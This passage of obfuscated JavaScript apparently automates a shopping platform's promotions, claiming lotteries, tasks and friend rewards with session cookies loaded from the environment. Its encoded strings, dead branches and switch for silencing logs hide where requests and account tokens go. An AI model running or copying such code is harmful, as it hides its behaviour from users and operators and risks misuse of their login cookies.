'));}else{_0x52b4c7=JSON[_0xb3c9('283','12Q8')](_0x52b4c7);console[_0xb3c9('158','RRYS')](_0x52b4c7[_0xb3c9('284','A&sp')]);}}}}catch(_0x479562){$[_0xb3c9('285','O^Ux')](_0x479562,_0x4073f1);}finally{if(_0x37570d[_0xb3c9('286','4&jl')](_0x37570d[_0xb3c9('287','Hi&L')],_0x37570d[_0xb3c9('288','pLk9')])){console[_0xb3c9('13','7hNk')](''+JSON[_0xb3c9('89','eg1*')](_0x2075cf));console[_0xb3c9('289','W%VK')]($[_0xb3c9('6e','sgNu')]+_0xb3c9('1c6','BA!&'));}else{_0x37570d[_0xb3c9('28a','p8(G')](_0x44860a,_0x52b4c7);}}}else{console[_0xb3c9('28b','Xorc')](''+JSON[_0xb3c9('28c','msFj')](_0x2075cf));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('f9','7hNk'));}});});}function exchange(_0x34ffe8=0x0){var _0xe6ee14={'dOFXV':_0xb3c9('28e','KqoH'),'AgHCo':function(_0x403518,_0x3782ed){return _0x403518!==_0x3782ed;},'BRwvY':_0xb3c9('28f','msFj'),'Bkboh':function(_0x3bb981,_0x2abe6b){return _0x3bb981(_0x2abe6b);},'qdxux':function(_0x211e60,_0x23b08a){return _0x211e60===_0x23b08a;},'cvKtG':_0xb3c9('290','xgMb'),'mQGZL':_0xb3c9('291','D[D@'),'NufnB':function(_0xae6607,_0x5ee3cc){return _0xae6607(_0x5ee3cc);},'pWDSN':function(_0x27b164,_0x638fb8,_0x50c195){return _0x27b164(_0x638fb8,_0x50c195);},'QfrxZ':_0xb3c9('292','[XP5')};return new Promise(_0x47405e=>{var _0x44dd2c={'DxOVL':_0xe6ee14[_0xb3c9('293','x1NV')],'liCSa':function(_0xcabfcb,_0x560984){return _0xe6ee14[_0xb3c9('294','p8(G')](_0xcabfcb,_0x560984);},'jFuMy':_0xe6ee14[_0xb3c9('295','Xorc')],'LLIVI':function(_0x1bc7ef,_0x3c6a1d){return _0xe6ee14[_0xb3c9('296','USUq')](_0x1bc7ef,_0x3c6a1d);},'AcQsK':function(_0x3230a2,_0x1b5fe4){return _0xe6ee14[_0xb3c9('297','msFj')](_0x3230a2,_0x1b5fe4);},'JaXUY':function(_0x7fdf8d,_0x1132fe){return _0xe6ee14[_0xb3c9('298','UFS%')](_0x7fdf8d,_0x1132fe);},'sosgR':_0xe6ee14[_0xb3c9('299','56Y[')],'IIGIC':_0xe6ee14[_0xb3c9('29a','RRYS')],'PUyFg':function(_0x306229,_0x3d108b){return _0xe6ee14[_0xb3c9('29b','UWcU')](_0x306229,_0x3d108b);}};$[_0xb3c9('29c','j]ox')](_0xe6ee14[_0xb3c9('29d','D[D@')](taskPostUrl,_0xe6ee14[_0xb3c9('29e','KqoH')],_0xb3c9('29f',']q[h')+_0x34ffe8),async(_0x34ccdc,_0x3a3c7a,_0x2906c3)=>{try{if(_0x34ccdc){if(_0x44dd2c[_0xb3c9('2a0','56Y[')](_0x44dd2c[_0xb3c9('2a1','eAka')],_0x44dd2c[_0xb3c9('2a2','lVDY')])){console[_0xb3c9('2a3','XZos')](e);$[_0xb3c9('2a4','UWcU')]($[_0xb3c9('bc','BA!&')],'',_0x44dd2c[_0xb3c9('2a5','%YG$')]);return[];}else{console[_0xb3c9('2a6','ST6I')](''+JSON[_0xb3c9('2a7','O^Ux')](_0x34ccdc));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('2a8','8^$1')]+_0xb3c9('2a9','O^Ux'));}}else{if(_0x44dd2c[_0xb3c9('2aa','54E@')](safeGet,_0x2906c3)){_0x2906c3=JSON[_0xb3c9('2ab','xgMb')](_0x2906c3);if(_0x44dd2c[_0xb3c9('2ac','54E@')](_0x2906c3[_0xb3c9('224','[XP5')],0xc8)){$['db']+=_0x2906c3[_0xb3c9('2ad','wR@t')][_0xb3c9('2ae','ST6I')];console[_0xb3c9('2af','[XP5')](_0xb3c9('2b0','sgNu')+_0x2906c3[_0xb3c9('2b1','BA!&')][_0xb3c9('2b2','sgNu')]+_0xb3c9('2b3','KqoH'));}else{console[_0xb3c9('2af','[XP5')](_0xb3c9('2b4','j]ox')+_0x2906c3[_0xb3c9('2b5',']q[h')]);}}}}catch(_0x652da0){$[_0xb3c9('2b6','p8(G')](_0x652da0,_0x3a3c7a);}finally{if(_0x44dd2c[_0xb3c9('2b7','O^Ux')](_0x44dd2c[_0xb3c9('2b8','BA!&')],_0x44dd2c[_0xb3c9('2b9','%YG$')])){$[_0xb3c9('2ba','*IUv')](e,_0x3a3c7a);}else{_0x44dd2c[_0xb3c9('2bb','XZos')](_0x47405e,_0x2906c3);}}});});}function helpFriend(_0x15ed8b,_0x2ea8f8=_0xb3c9('2bc','Xorc')){var _0x41bec3={'AYYse':function(_0x3c1447,_0x2ce933){return _0x3c1447(_0x2ce933);},'vubdk':function(_0x50b0f1,_0xbb743b){return _0x50b0f1!==_0xbb743b;},'ykFvP':_0xb3c9('2bd','x1NV'),'dlVJa':function(_0x3b971f,_0x325e65){return _0x3b971f!==_0x325e65;},'pDlFW':_0xb3c9('2be','ST6I'),'kmLHR':function(_0x1a5572,_0x5eb4f5){return _0x1a5572(_0x5eb4f5);},'BvQAU':function(_0x3e2a90,_0x217a89){return _0x3e2a90===_0x217a89;},'mTyHO':_0xb3c9('2bf','xgMb'),'RThcU':_0xb3c9('2c0','Xorc'),'feWWM':function(_0x52ab56,_0xee4e0c){return _0x52ab56(_0xee4e0c);},'rtnMi':function(_0x54039a,_0x241808){return _0x54039a(_0x241808);},'GUVDF':function(_0x2fdac0,_0x20a673){return _0x2fdac0(_0x20a673);},'ypguN':function(_0x598a78,_0x9b3af5,_0x4f0577){return _0x598a78(_0x9b3af5,_0x4f0577);},'hekfs':_0xb3c9('2c1','sgNu')};return new Promise(_0x1eb147=>{var _0x1ec12a={'xFegI':function(_0x262aa8,_0x2ff1dd){return _0x41bec3[_0xb3c9('2c2','56Y[')](_0x262aa8,_0x2ff1dd);},'yfLpM':function(_0x198212,_0x29060d){return _0x41bec3[_0xb3c9('2c3','W%VK')](_0x198212,_0x29060d);},'AifeM':function(_0x10a3f7,_0x33aebf){return _0x41bec3[_0xb3c9('2c4','12Q8')](_0x10a3f7,_0x33aebf);}};$[_0xb3c9('2c5','x1NV')](_0x41bec3[_0xb3c9('2c6','j]ox')](taskPostUrl,_0x41bec3[_0xb3c9('2c7','x1NV')],_0xb3c9('2c8','8^$1')+_0x15ed8b+_0xb3c9('2c9','vGPn')+_0x2ea8f8),async(_0x15a942,_0x61cab7,_0x1c2b33)=>{var _0x2b07f4={'ZqhkJ':function(_0x3864cc,_0x5bbb76){return _0x41bec3[_0xb3c9('2ca','#5oK')](_0x3864cc,_0x5bbb76);}};try{if(_0x41bec3[_0xb3c9('2cb','p8(G')](_0x41bec3[_0xb3c9('2cc','D[D@')],_0x41bec3[_0xb3c9('2cd',']q[h')])){_0x1ec12a[_0xb3c9('2ce','lVDY')](_0x1eb147,_0x1c2b33);}else{if(_0x15a942){if(_0x41bec3[_0xb3c9('2cf','12Q8')](_0x41bec3[_0xb3c9('2d0','Hi&L')],_0x41bec3[_0xb3c9('2d1','KqoH')])){_0x2b07f4[_0xb3c9('2d2','p8(G')](_0x1eb147,_0x1c2b33);}else{console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('2d3','XZos')](_0x15a942));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('60','XZos')]+_0xb3c9('2d4','eAka'));}}else{if(_0x41bec3[_0xb3c9('2d5','eg1*')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2d6','oJ7R')](_0x1c2b33);console[_0xb3c9('15a','j]ox')](_0x1c2b33[_0xb3c9('2d7','56Y[')]);}}}}catch(_0x3b5b03){$[_0xb3c9('2d8','pLk9')](_0x3b5b03,_0x61cab7);}finally{if(_0x41bec3[_0xb3c9('2d9','D[D@')](_0x41bec3[_0xb3c9('2da','Hi&L')],_0x41bec3[_0xb3c9('2db','UWcU')])){if(_0x1ec12a[_0xb3c9('2dc','W%VK')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2dd','p8(G')](_0x1c2b33);if(_0x1ec12a[_0xb3c9('2de','j]ox')](_0x1c2b33[_0xb3c9('2df','D[D@')],0xc8)){console[_0xb3c9('2e0','bu#e')](_0xb3c9('2e1','[XP5'));}else{console[_0xb3c9('21d','IV4a')](_0xb3c9('2e2','%YG$')+_0x1c2b33[_0xb3c9('2e3','4&jl')]);}}}else{_0x41bec3[_0xb3c9('2e4','x1NV')](_0x1eb147,_0x1c2b33);}}});});}function getWelfareInfo(){var _0x4c72ce={'KMsGE':function(_0x38e872,_0x1c0089){return _0x38e872(_0x1c0089);},'DOtVX':function(_0x2d24ac,_0x47c5d7){return _0x2d24ac===_0x47c5d7;},'RbaEG':_0xb3c9('2e5',']q[h'),'dtCYS':function(_0x1dd3fc,_0x4043c2){return _0x1dd3fc(_0x4043c2);},'stqpP':function(_0x1aead6,_0xefc9d){return _0x1aead6!==_0xefc9d;},'yiFFE':_0xb3c9('2e6','8Yzp'),'AcwNH':_0xb3c9('2e7','RRYS'),'jJjUN':function(_0x499e8d,_0x1c651e){return _0x499e8d===_0x1c651e;},'TLlEj':_0xb3c9('2e8','4&jl'),'HbHff':_0xb3c9('2e9','A)dp'),'bcigw':_0xb3c9('2ea','8^$1'),'tVfLa':function(_0x363b59,_0x182b9c,_0x24180a){return _0x363b59(_0x182b9c,_0x24180a);},'RMmul':_0xb3c9('2eb','vGPn'),'bxCyI':function(_0x318592,_0x271d0d){return _0x318592(_0x271d0d);},'xHHxw':_0xb3c9('2ec','8Yzp')};return new Promise(_0x47504c=>{var _0xd05fbf={'ZkQSg':function(_0x3163d2,_0x594426){return _0x4c72ce[_0xb3c9('2ed','8Yzp')](_0x3163d2,_0x594426);},'xXoSq':function(_0x3f3131,_0x237350){return _0x4c72ce[_0xb3c9('2ee','KqoH')](_0x3f3131,_0x237350);},'zQzKD':_0x4c72ce[_0xb3c9('2ef','A&sp')],'LJRZW':function(_0x3103d1,_0x1980fe){return _0x4c72ce[_0xb3c9('2f0','%YG$')](_0x3103d1,_0x1980fe);},'BuEhX':function(_0x47a5a4,_0x2838be){return _0x4c72ce[_0xb3c9('2f1','Tq0]')](_0x47a5a4,_0x2838be);},'aCdto':function(_0x1a5690,_0x346065){return _0x4c72ce[_0xb3c9('2f2','QPLX')](_0x1a5690,_0x346065);},'fAtzk':_0x4c72ce[_0xb3c9('2f3','UFS%')],'WeiIS':_0x4c72ce[_0xb3c9('2f4','QPLX')],'jNIgm':function(_0x58bf63,_0xf8b52a){return _0x4c72ce[_0xb3c9('2f5','7hNk')](_0x58bf63,_0xf8b52a);},'XVdeH':_0x4c72ce[_0xb3c9('2f6','SI8%')],'DgFBL':_0x4c72ce[_0xb3c9('2f7','56Y[')],'SFqlb':function(_0x5ed1f1,_0x5870c1){return _0x4c72ce[_0xb3c9('2f8','j]ox')](_0x5ed1f1,_0x5870c1);},'jstop':_0x4c72ce[_0xb3c9('2f9','Tq0]')],'QpSrz':function(_0x47ece6,_0x33d413,_0xd7901e){return _0x4c72ce[_0xb3c9('2fa','Tq0]')](_0x47ece6,_0x33d413,_0xd7901e);},'TwEOk':_0x4c72ce[_0xb3c9('2fb','eAka')]};$[_0xb3c9('2fc','Us6T')](_0x4c72ce[_0xb3c9('2fd','XZos')](taskUrl,_0x4c72ce[_0xb3c9('2fe','msFj')]),async(_0x5420d3,_0x401d75,_0x455f5f)=>{var _0x454c8e={'pTndK':function(_0x133a00,_0x1b3a62){return _0xd05fbf[_0xb3c9('2ff','O^Ux')](_0x133a00,_0x1b3a62);}};try{if(_0x5420d3){console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('300','p8(G')](_0x5420d3));console[_0xb3c9('246','USUq')]($[_0xb3c9('60','XZos')]+_0xb3c9('301','A&sp'));}else{if(_0xd05fbf[_0xb3c9('302','FlxD')](_0xd05fbf[_0xb3c9('303','msFj')],_0xd05fbf[_0xb3c9('304','D[D@')])){if(_0xd05fbf[_0xb3c9('305','56Y[')](safeGet,_0x455f5f)){_0x455f5f=JSON[_0xb3c9('306','*IUv')](_0x455f5f);if(_0xd05fbf[_0xb3c9('307','j]ox')](_0x455f5f[_0xb3c9('308','W%VK')],0xc8)&&_0x455f5f[_0xb3c9('104','USUq')]&&_0x455f5f[_0xb3c9('309','KqoH')][_0xb3c9('30a','x1NV')]){for(let _0x4914df of[..._0x455f5f[_0xb3c9('30b','UWcU')][_0xb3c9('30c','XZos')],..._0x455f5f[_0xb3c9('30d','kKc[')][_0xb3c9('30e','54E@')]]){if(_0xd05fbf[_0xb3c9('30f','IV4a')](_0xd05fbf[_0xb3c9('310','*IUv')],_0xd05fbf[_0xb3c9('311','UFS%')])){console[_0xb3c9('312','UWcU')](''+JSON[_0xb3c9('313','0XYQ')](_0x5420d3));console[_0xb3c9('21d','IV4a')]($[_0xb3c9('314','kKc[')]+_0xb3c9('315','4&jl'));}else{if(_0x4914df[_0xb3c9('316','#5oK')]){if(_0xd05fbf[_0xb3c9('317','Xorc')](_0xd05fbf[_0xb3c9('318','BA!&')],_0xd05fbf[_0xb3c9('319','Us6T')])){_0x455f5f=JSON[_0xb3c9('1cb','SI8%')](_0x455f5f);console[_0xb3c9('b9','SI8%')](_0x455f5f[_0xb3c9('31a','BA!&')]);}else{if(_0xd05fbf[_0xb3c9('31b','Hi&L')]($[_0xb3c9('31c','BA!&')],0x1))$[_0xb3c9('31d','USUq')][_0xb3c9('31e','RRYS')](_0x4914df[_0xb3c9('31f','XZos')]);if(_0x4914df[_0xb3c9('320','Tq0]')]){if(_0xd05fbf[_0xb3c9('321','oJ7R')](_0xd05fbf[_0xb3c9('322','eAka')],_0xd05fbf[_0xb3c9('323','x1NV')])){pinList[_0xb3c9('324','kKc[')](_0x4914df[_0xb3c9('325','IV4a')](/pt_pin=([^; ]+)(?=;?)/)&&_0x4914df[_0xb3c9('326',']q[h')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);}else{console[_0xb3c9('327','lVDY')]('【'+_0x4914df[_0xb3c9('328','8Yzp')]+_0xb3c9('329','xgMb'));await $[_0xb3c9('32a','msFj')](0x3e8);await _0xd05fbf[_0xb3c9('32b','sgNu')](getTaskList,_0x4914df[_0xb3c9('32c','Us6T')]);}}else{if(_0xd05fbf[_0xb3c9('32d','*IUv')](_0xd05fbf[_0xb3c9('32e','SI8%')],_0xd05fbf[_0xb3c9('32f','4&jl')])){console[_0xb3c9('330','oJ7R')]('【'+_0x4914df[_0xb3c9('331','%YG$')]+_0xb3c9('332','bu#e'));await _0xd05fbf[_0xb3c9('333','SI8%')](sendLottery,_0x4914df[_0xb3c9('334','eAka')],0x1);}else{console[_0xb3c9('335','%YG$')](''+JSON[_0xb3c9('300','p8(G')](_0x5420d3));console[_0xb3c9('327','lVDY')]($[_0xb3c9('336','Xorc')]+_0xb3c9('2d4','eAka'));}}await $[_0xb3c9('337','xgMb')](0x3e8);}}}}}}}else{console[_0xb3c9('26a',']q[h')](_0xb3c9('338','%YG$')+_0x455f5f[_0xb3c9('339','lVDY')]);}}}catch(_0xe74982){if(_0xd05fbf[_0xb3c9('33a','wR@t')](_0xd05fbf[_0xb3c9('33b',']q[h')],_0xd05fbf[_0xb3c9('33c','#5oK')])){$[_0xb3c9('285','O^Ux')](_0xe74982,_0x401d75);}else{_0x454c8e[_0xb3c9('33d','%YG$')](_0x47504c,_0x455f5f);}}finally{_0xd05fbf[_0xb3c9('33e','xgMb')](_0x47504c,_0x455f5f);}});});}function sendLottery(_0x7c00bc,_0x358849){var _0x484378={'FrMSi':function(_0x14bd45,_0x5a7799){return _0x14bd45(_0x5a7799);},'VuJMm':function(_0xf1560b,_0x434169){return _0xf1560b===_0x434169;},'YuFGO':_0xb3c9('33f','oJ7R'),'hfyBW':_0xb3c9('340','A)dp'),'wAWLa':function(_0x5d7236,_0x3e6a5b){return _0x5d7236!==_0x3e6a5b;},'gyuxq':_0xb3c9('341','oJ7R'),'SsmJI':_0xb3c9('342','56Y['),'wxUCy':_0xb3c9('343','O^Ux'),'vruMs':function(_0x251045,_0x43608e){return _0x251045(_0x43608e);},'nLBUh':_0xb3c9('344','IV4a'),'htudy':function(_0x2375b4,_0x5c22ab){return _0x2375b4!==_0x5c22ab;},'ONhIo':_0xb3c9('345','56Y['),'hPbJq':_0xb3c9('346','A&sp'),'nqHME':function(_0x1ef771,_0x1bc8c8,_0x5d3690){return _0x1ef771(_0x1bc8c8,_0x5d3690);},'cNCnO':_0xb3c9('347','xgMb')};return new Promise(_0x2ef033=>{var _0x566e2f={'IyBuu':function(_0x575fa2,_0x166ed9){return _0x484378[_0xb3c9('348','p8(G')](_0x575fa2,_0x166ed9);},'XjZyN':function(_0x30a0cc,_0x4540ea){return _0x484378[_0xb3c9('349','eg1*')](_0x30a0cc,_0x4540ea);},'JZjvv':function(_0x36aac9,_0x227f81){return _0x484378[_0xb3c9('34a','IV4a')](_0x36aac9,_0x227f81);},'eFgwJ':_0x484378[_0xb3c9('34b','bu#e')],'cwNQs':_0x484378[_0xb3c9('34c','56Y[')],'aqMkN':function(_0x3613ca,_0x503447){return _0x484378[_0xb3c9('34d','RRYS')](_0x3613ca,_0x503447);},'IabhR':function(_0x4c0f20,_0x29c162){return _0x484378[_0xb3c9('34e','8Yzp')](_0x4c0f20,_0x29c162);},'MNHzi':_0x484378[_0xb3c9('34f','Us6T')],'pemVs':_0x484378[_0xb3c9('350','Tq0]')],'rSDGG':_0x484378[_0xb3c9('351','Tq0]')],'PYpnT':function(_0x34df1f,_0x465ab2){return _0x484378[_0xb3c9('352','54E@')](_0x34df1f,_0x465ab2);},'OpwzV':function(_0x19aa1d,_0x4d492a){return _0x484378[_0xb3c9('353','8Yzp')](_0x19aa1d,_0x4d492a);},'fLnFS':_0x484378[_0xb3c9('354','Us6T')]};if(_0x484378[_0xb3c9('355','pLk9')](_0x484378[_0xb3c9('356','eg1*')],_0x484378[_0xb3c9('357','54E@')])){$[_0xb3c9('358','W%VK')](_0x484378[_0xb3c9('359','A&sp')](taskPostUrl,_0x484378[_0xb3c9('35a','Xorc')],_0xb3c9('35b','W%VK')+_0x7c00bc+_0xb3c9('35c','Us6T')+_0x358849),async(_0x218fc0,_0x2b6733,_0x2fb480)=>{var _0x31f5c5={'hsUdA':function(_0x1f18ea,_0x5a5dbd){return _0x566e2f[_0xb3c9('35d','kKc[')](_0x1f18ea,_0x5a5dbd);},'QEwwg':function(_0x1d2ecf,_0x75196d){return _0x566e2f[_0xb3c9('35e','7hNk')](_0x1d2ecf,_0x75196d);}};try{if(_0x218fc0){console[_0xb3c9('157','A&sp')](''+JSON[_0xb3c9('35f','W%VK')](_0x218fc0));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('360','KqoH')]+_0xb3c9('361','UWcU'));}else{if(_0x566e2f[_0xb3c9('362','12Q8')](_0x566e2f[_0xb3c9('363','O^Ux')],_0x566e2f[_0xb3c9('364','x1NV')])){console[_0xb3c9('4e','Hi&L')](_0xb3c9('365','FlxD'));}else{if(_0x566e2f[_0xb3c9('366','8^$1')](safeGet,_0x2fb480)){if(_0x566e2f[_0xb3c9('367',']q[h')](_0x566e2f[_0xb3c9('368','D[D@')],_0x566e2f[_0xb3c9('369','Tq0]')])){console[_0xb3c9('327','lVDY')](_0xb3c9('36a','*IUv')+_0x2fb480[_0xb3c9('c1','#5oK')]);}else{_0x2fb480=JSON[_0xb3c9('155','kKc[')](_0x2fb480);console[_0xb3c9('f5','KqoH')](_0x2fb480[_0xb3c9('36b','bu#e')]);if(_0x566e2f[_0xb3c9('36c','A)dp')](_0x2fb480[_0xb3c9('36d','wR@t')],0xc8)){await $[_0xb3c9('36e','ST6I')](0x3e8);await _0x566e2f[_0xb3c9('36f','FlxD')](getTaskList,_0x7c00bc);}}}}}}catch(_0x3ae58f){if(_0x566e2f[_0xb3c9('370','msFj')](_0x566e2f[_0xb3c9('371','A&sp')],_0x566e2f[_0xb3c9('372','Tq0]')])){$[_0xb3c9('373','vGPn')](_0x3ae58f,_0x2b6733);}else{if(_0x31f5c5[_0xb3c9('374','px$D')](safeGet,_0x2fb480)){_0x2fb480=JSON[_0xb3c9('375','j]ox')](_0x2fb480);if(_0x31f5c5[_0xb3c9('376','12Q8')](_0x2fb480[_0xb3c9('377','56Y[')],0xc8)){$['db']+=_0x2fb480[_0xb3c9('1cf','sgNu')][_0xb3c9('378','Tq0]')];console[_0xb3c9('157','A&sp')](_0xb3c9('379','eg1*')+_0x2fb480[_0xb3c9('37a','oJ7R')][_0xb3c9('2b2','sgNu')]+_0xb3c9('37b','eAka'));}else{console[_0xb3c9('9a','sgNu')](_0xb3c9('37c','SI8%')+_0x2fb480[_0xb3c9('37d','*IUv')]);}}}}finally{_0x566e2f[_0xb3c9('37e','px$D')](_0x2ef033,_0x2fb480);}});}else{Object[_0xb3c9('37f','8Yzp')](jdCookieNode)[_0xb3c9('380',']q[h')](_0xefa85b=>{cookiesArr[_0xb3c9('381','IV4a')](jdCookieNode[_0xefa85b]);});if(process[_0xb3c9('382','KqoH')][_0xb3c9('383','xgMb')]&&_0x566e2f[_0xb3c9('384','eg1*')](process[_0xb3c9('385','px$D')][_0xb3c9('386','msFj')],_0x566e2f[_0xb3c9('387','KqoH')]))console[_0xb3c9('c5','O^Ux')]=()=>{};}});}function getTaskList(_0x453ab8){var _0x38ec9b={'hUKBh':function(_0x3f5212){return _0x3f5212();},'zulEa':function(_0x200f52,_0x48bcc9){return _0x200f52!==_0x48bcc9;},'uNUZT':_0xb3c9('388','*IUv'),'CRVNe':function(_0x6a25a6,_0x415735){return _0x6a25a6(_0x415735);},'wTfAC':_0xb3c9('389','8Yzp'),'MfoBG':function(_0x506214,_0x2c4163){return _0x506214===_0x2c4163;},'ybvAl':_0xb3c9('38a','UWcU'),'dAbBv':_0xb3c9('38b','wR@t'),'xnoWA':function(_0x15ae60,_0x110637,_0x369602){return _0x15ae60(_0x110637,_0x369602);},'WnOXC':_0xb3c9('38c','FlxD'),'xDVQG':_0xb3c9('38d','wR@t'),'VMqcP':function(_0xb88673,_0x3aaab1,_0x19ac8d){return _0xb88673(_0x3aaab1,_0x19ac8d);},'ThQWE':_0xb3c9('38e','FlxD')};return new Promise(_0x5afef5=>{$[_0xb3c9('38f','ST6I')](_0x38ec9b[_0xb3c9('390','Xorc')](taskPostUrl,_0x38ec9b[_0xb3c9('391','UFS%')],_0xb3c9('392','*IUv')+_0x453ab8),async(_0x5d66ef,_0x2003a7,_0x40e532)=>{var _0x5555d8={'NBAAd':function(_0x170eac){return _0x38ec9b[_0xb3c9('393','bu#e')](_0x170eac);}};try{if(_0x5d66ef){console[_0xb3c9('fa','0XYQ')](''+JSON[_0xb3c9('1c5','8Yzp')](_0x5d66ef));console[_0xb3c9('335','%YG$')]($[_0xb3c9('394','IV4a')]+_0xb3c9('395','D[D@'));}else{if(_0x38ec9b[_0xb3c9('396','12Q8')](_0x38ec9b[_0xb3c9('397','A)dp')],_0x38ec9b[_0xb3c9('398','Hi&L')])){_0x5555d8[_0xb3c9('399','O^Ux')](_0x5afef5);}else{if(_0x38ec9b[_0xb3c9('39a','pLk9')](safeGet,_0x40e532)){if(_0x38ec9b[_0xb3c9('39b','IV4a')](_0x38ec9b[_0xb3c9('39c','p8(G')],_0x38ec9b[_0xb3c9('39d','8^$1')])){if($[_0xb3c9('39e','eg1*')]()&&process[_0xb3c9('39f','vGPn')][_0xb3c9('3a0','Xorc')]){exchangeFlag=process[_0xb3c9('382','KqoH')][_0xb3c9('3a1','ST6I')]||exchangeFlag;}_0x5555d8[_0xb3c9('3a2',']q[h')](_0x5afef5);}else{_0x40e532=JSON[_0xb3c9('3a3','ST6I')](_0x40e532);if(_0x38ec9b[_0xb3c9('3a4','BA!&')](_0x40e532[_0xb3c9('3a5','eg1*')],0xc8)){if(_0x38ec9b[_0xb3c9('3a6','Xorc')](_0x38ec9b[_0xb3c9('3a7','KqoH')],_0x38ec9b[_0xb3c9('3a8','7hNk')])){for(let _0x17620 of _0x40e532[_0xb3c9('3a9','x1NV')]){if(_0x38ec9b[_0xb3c9('3aa','msFj')](_0x17620[_0xb3c9('3ab','px$D')],0x5)&&!_0x17620[_0xb3c9('3ac','SI8%')]){console[_0xb3c9('84','x1NV')](_0xb3c9('3ad','eAka'));await $[_0xb3c9('b1','bu#e')](0x3e8);await _0x38ec9b[_0xb3c9('3ae','54E@')](fulfilTask,_0x453ab8,_0x17620[_0xb3c9('3af','RRYS')]);}}}else{$[_0xb3c9('1a2','msFj')](e,_0x2003a7);}}}}}}}catch(_0x37c3e3){$[_0xb3c9('2d8','pLk9')](_0x37c3e3,_0x2003a7);}finally{if(_0x38ec9b[_0xb3c9('3b0','*IUv')](_0x38ec9b[_0xb3c9('3b1','A)dp')],_0x38ec9b[_0xb3c9('3b2','A)dp')])){$[_0xb3c9('3b3','56Y[')](e,_0x2003a7);}else{_0x38ec9b[_0xb3c9('3b4','7hNk')](_0x5afef5,_0x40e532);}}});});}function fulfilTask(_0x82bcf,_0x3257c0){var _0x4c7119={'KGWJJ':_0xb3c9('28e','KqoH'),'lares':function(_0x4d7f3a,_0x277361){return _0x4d7f3a(_0x277361);},'ZFist':function(_0x3cabcc,_0x5cf325){return _0x3cabcc!==_0x5cf325;},'SVQgx':_0xb3c9('3b5','p8(G'),'lBVXT':_0xb3c9('3b6','UFS%'),'Iysut':_0xb3c9('3b7','*IUv'),'XLEOG':function(_0x278cb9,_0x3486d5){return _0x278cb9!==_0x3486d5;},'cVHzd':_0xb3c9('3b8','USUq'),'EBFNP':function(_0x5356db,_0x2fd54d){return _0x5356db(_0x2fd54d);},'hhdXN':_0xb3c9('3b9','%YG$'),'aHnCg':_0xb3c9('3ba','QPLX'),'LITSR':function(_0x574a0e,_0x2a4bd1){return _0x574a0e===_0x2a4bd1;},'wLuLL':_0xb3c9('3bb','FlxD'),'rOXKu':_0xb3c9('3bc','7hNk'),'QacVb':_0xb3c9('3bd','0XYQ'),'JLDiR':function(_0x38d928,_0x70d6f6){return _0x38d928!==_0x70d6f6;},'LCIPl':_0xb3c9('3be','oJ7R'),'CygWA':_0xb3c9('3bf','px$D'),'lkFxt':function(_0x3ab0f2,_0x3b6eec,_0xd76c73){return _0x3ab0f2(_0x3b6eec,_0xd76c73);},'xuxsP':_0xb3c9('3c0','lVDY')};return new Promise(_0x5d314f=>{var _0x19b7d1={'ehpKM':_0x4c7119[_0xb3c9('3c1','ST6I')],'kQoQb':function(_0x49085e,_0x4b7de1){return _0x4c7119[_0xb3c9('3c2','8Yzp')](_0x49085e,_0x4b7de1);},'umqjo':function(_0x328cc5,_0x108330){return _0x4c7119[_0xb3c9('3c3','SI8%')](_0x328cc5,_0x108330);},'oucQk':_0x4c7119[_0xb3c9('3c4','O^Ux')],'fBIkB':function(_0x412b11,_0x4d6379){return _0x4c7119[_0xb3c9('3c5','kKc[')](_0x412b11,_0x4d6379);},'UaKSN':_0x4c7119[_0xb3c9('3c6','%YG$')],'SDzno':_0x4c7119[_0xb3c9('3c7','msFj')],'ewFLp':function(_0x55fa86,_0x362f10){return _0x4c7119[_0xb3c9('3c8','FlxD')](_0x55fa86,_0x362f10);},'AjJbZ':_0x4c7119[_0xb3c9('3c9','msFj')],'rMaVd':function(_0x1f0abe,_0x5ca775){return _0x4c7119[_0xb3c9('3ca','8Yzp')](_0x1f0abe,_0x5ca775);},'LAVkb':_0x4c7119[_0xb3c9('3cb','A)dp')],'IkfkU':_0x4c7119[_0xb3c9('3cc','*IUv')],'MovrE':function(_0x15c000,_0x56aa35){return _0x4c7119[_0xb3c9('3cd','RRYS')](_0x15c000,_0x56aa35);},'ttzBP':_0x4c7119[_0xb3c9('3ce','8^$1')],'KrgDz':_0x4c7119[_0xb3c9('3cf','Tq0]')],'yKRVo':_0x4c7119[_0xb3c9('3d0','UWcU')],'sYySG':function(_0x4f60ce,_0x8b9397){return _0x4c7119[_0xb3c9('3d1','vGPn')](_0x4f60ce,_0x8b9397);}};if(_0x4c7119[_0xb3c9('3d2','8Yzp')](_0x4c7119[_0xb3c9('3d3','54E@')],_0x4c7119[_0xb3c9('3d4','eAka')])){$[_0xb3c9('3d5',']q[h')](_0x4c7119[_0xb3c9('3d6','QPLX')](taskPostUrl,_0x4c7119[_0xb3c9('3d7','UWcU')],_0xb3c9('3d8','A)dp')+_0x82bcf+_0xb3c9('3d9','8Yzp')+_0x3257c0),async(_0x22203c,_0x1adda6,_0x4e9468)=>{if(_0x19b7d1[_0xb3c9('3da','msFj')](_0x19b7d1[_0xb3c9('3db','8^$1')],_0x19b7d1[_0xb3c9('3dc','pLk9')])){$[_0xb3c9('3dd','px$D')](e,_0x1adda6);}else{try{if(_0x19b7d1[_0xb3c9('3de','#5oK')](_0x19b7d1[_0xb3c9('3df','SI8%')],_0x19b7d1[_0xb3c9('3e0','Us6T')])){if(_0x22203c){if(_0x19b7d1[_0xb3c9('3e1','kKc[')](_0x19b7d1[_0xb3c9('3e2','Us6T')],_0x19b7d1[_0xb3c9('3e3','kKc[')])){$['db']+=_0x4e9468[_0xb3c9('3e4','xgMb')][_0xb3c9('3e5','D[D@')];console[_0xb3c9('3e6','D[D@')](_0xb3c9('3e7','8Yzp')+_0x4e9468[_0xb3c9('225','j]ox')][_0xb3c9('3e8','BA!&')]+_0xb3c9('37b','eAka'));}else{console[_0xb3c9('77','8^$1')](''+JSON[_0xb3c9('3e9','SI8%')](_0x22203c));console[_0xb3c9('26a',']q[h')]($[_0xb3c9('3ea','54E@')]+_0xb3c9('3eb','UFS%'));}}else{if(_0x19b7d